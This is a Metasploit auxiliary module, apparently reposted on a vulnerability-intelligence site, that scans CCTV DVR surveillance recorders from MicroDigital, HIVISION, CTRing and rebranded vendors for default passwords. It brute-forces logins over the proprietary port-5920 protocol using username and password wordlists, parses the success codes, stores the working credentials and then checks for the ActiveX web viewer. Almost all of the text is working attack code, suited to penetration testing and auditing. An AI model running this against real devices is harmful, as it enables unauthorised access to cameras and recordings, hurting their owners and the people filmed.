This module scans for default vendor passwords on standalone CCTV DVR surveillance systems by MicroDigital, HIVISION, CTRing, and rebranded devices with potential brute force capability
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'CCTV DVR Login Scanning Utility',
'Description' => %q{
This module tests for standalone CCTV DVR video surveillance
deployments specifically by MicroDigital, HIVISION, CTRing, and
numerous other rebranded devices that are utilizing default vendor
passwords. Additionally, this module has the ability to brute
force user accounts.
Such CCTV DVR video surveillance deployments support remote
viewing through Central Management Software (CMS) via the
CMS Web Client, an IE ActiveX control hosted over HTTP, or
through Win32 or mobile CMS client software. By default,
remote authentication is handled over port 5920/TCP with video
streaming over 5921/TCP.
After successful authentication over 5920/TCP this module
will then attempt to determine if the IE ActiveX control
is listening on the default HTTP port (80/TCP).
},
'Author' => 'Justin Cacak',
'License' => MSF_LICENSE
)
register_options(
[
OptPath.new(
'USER_FILE',
[
false,
"File containing usernames, one per line",
File.join(Msf::Config.data_directory, "wordlists", "multi_vendor_cctv_dvr_users.txt")
]),
OptPath.new(
'PASS_FILE',
[
false,
"File containing passwords, one per line",
File.join(Msf::Config.data_directory, "wordlists", "multi_vendor_cctv_dvr_pass.txt")
]),
OptBool.new('STOP_ON_SUCCESS', [false, "Stop guessing when a credential works for a host", true]),
OptPort.new('HTTP_PORT', [true, "The HTTP port for the IE ActiveX web client interface", 80]),
Opt::RPORT(5920)
])
end
def run_host(ip)
@valid_hosts = []
begin
connect
each_user_pass { |user, pass|
do_login(user, pass)
}
rescue ::Interrupt
raise $!
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("Timeout or no connection on #{rhost}:#{rport}")
return
rescue ::Exception => e
print_error("#{rhost}:#{rport} Error: #{e.class} #{e} #{e.backtrace}")
return
ensure
disconnect
end
@valid_hosts.each do |h|
http_interface_check(h)
end
end
def http_interface_check(h)
begin
http = connect(false, {
'RPORT' => datastore['HTTP_PORT'],
'RHOST' => h
})
http.put("GET / HTTP/1.1\r\n\r\n")
# get() is a more suitable method than get_once in this case
data = http.get(20)
if data =~ /DVR WebViewer/i
# Confirmed ActiveX control over HTTP, display the control name and version
# Report HTTP service info since there is a confirmed IE ActiveX control
# Code base example:
# codebase="CtrWeb.cab#version=1,1,5,4"
if data.match(/codebase="(\w{1,16})\.(\w{1,3}).version=(\d{1,3},\d{1,3},\d{1,3},\d{1,3})/)
v = "#{$1}.#{$2} v#{$3}"
else
v = "unknown version"
end
uri = "http://#{rhost}:#{datastore['HTTP_PORT']}"
print_good("Confirmed IE ActiveX HTTP interface (#{v}): #{uri}")
report_service(
:host => rhost,
:port => datastore['HTTP_PORT'],
:name => "http",
:info => "IE ActiveX CCTV DVR Control (#{v})"
)
else
# An HTTP server is listening on HTTP_PORT, however, does not appear to be
# the ActiveX control
print_status("An unknown HTTP interface was found on #{datastore['HTTP_PORT']}/TCP")
end
rescue
print_status("IE ActiveX HTTP interface not found on #{datastore['HTTP_PORT']}/TCP")
ensure
disconnect(http)
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: 'cctv_dvr',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def do_login(user=nil, pass=nil)
vprint_status("#{rhost} - Trying username:'#{user}' with password:'#{pass}'")
fill_length1 = 64 - user.length
# Check if user name length is too long for submission (exceeds packet length)
if fill_length1 < 1
return
end
# Build the authentication packet starting here
data = "\x00\x01\x00\x00\x80\x00\x00\x00" + user + ("\x00" * fill_length1)
# Check if password length is too long for submission (exceeds packet length)
fill_length2 = 64 - pass.length
if fill_length2 < 1
return
end
data = data + pass + ("\x00" * fill_length2)
res = nil
sock.put(data)
begin
res = sock.get_once(-1, 7)
rescue
return :abort
end
if not (res)
disconnect
vprint_error("#{rhost} No Response")
return :abort
end
# Analyze the response
if res == "\x00\x01\x03\x01\x00\x00\x00\x00" #Failed Password
vprint_error("#{rhost}:#{rport} Failed login as: '#{user}'")
return
elsif res =="\x00\x01\x02\x01\x00\x00\x00\x00" #Invalid User
vprint_error("#{rhost}:#{rport} Invalid user: '#{user}'")
# Stop attempting passwords for this user since it doesn't exist
return :skip_user
elsif res =="\x00\x01\x05\x01\x00\x00\x00\x00" or res =="\x00\x01\x01\x01\x00\x00\x00\x00"
print_good("#{rhost}:#{rport} Successful login: '#{user}' : '#{pass}'")
# Report valid credentials under the CCTV DVR admin port (5920/TCP).
# This is a proprietary protocol.
report_cred(ip: rhost, port: rport, user:user, password: pass, proof: res.inspect)
@valid_hosts << rhost
return :next_user
else
vprint_error("#{rhost}:#{rport} Failed login as: '#{user}' - Unclassified Response: #{res.inspect}")
return
end
end
end
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo